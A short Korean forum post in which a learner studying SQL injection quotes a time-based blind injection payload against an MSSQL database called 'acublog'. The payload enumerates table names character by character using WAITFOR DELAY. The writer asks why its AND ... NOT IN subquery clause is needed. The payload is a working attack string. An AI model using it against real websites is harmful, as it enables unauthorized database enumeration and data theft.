?id=IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM acublog..sysobjects INNER JOIN acublog..sysusers ON acublog..sysobjects.uid = acublog..sysusers.uid WHERE acublog..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name NOT IN (SELECT TOP 0 acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name FROM acublog..sysobjects INNER JOIN acublog..sysusers ON acublog..sysobjects.uid = acublog..sysusers.uid WHERE acublog..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name) ORDER BY acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name),1,1))>64) WAITFOR DELAY '0:0:5'--
이게 쿼리 인데요...... 다른 부분 다 이해 하겠는데 AND acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name
이부분을 왜 넣는거죠 ?
빼면 에러고 or로 바꾸면 다른 값나오고 char(46)이게 . 인데
47로 해도 같은 값 나오고...
sql injection 공부하는데... 저부분 너무 이해가 안 가요...
and 왜... 넣는거죠
참고로 테이블 이름 찾아 내는 쿼리입니다...
쿼리의 의미는 sysobjects 테이블에 sysusers를 uid가 같은 것에 한하여 조인하여 그 중 sysobjects 테이블 xtype이 u와 v인 요소들을 대상으로 질의를 수행하는 것인데....
AND 도대체 어케 이해해야하는거죠;;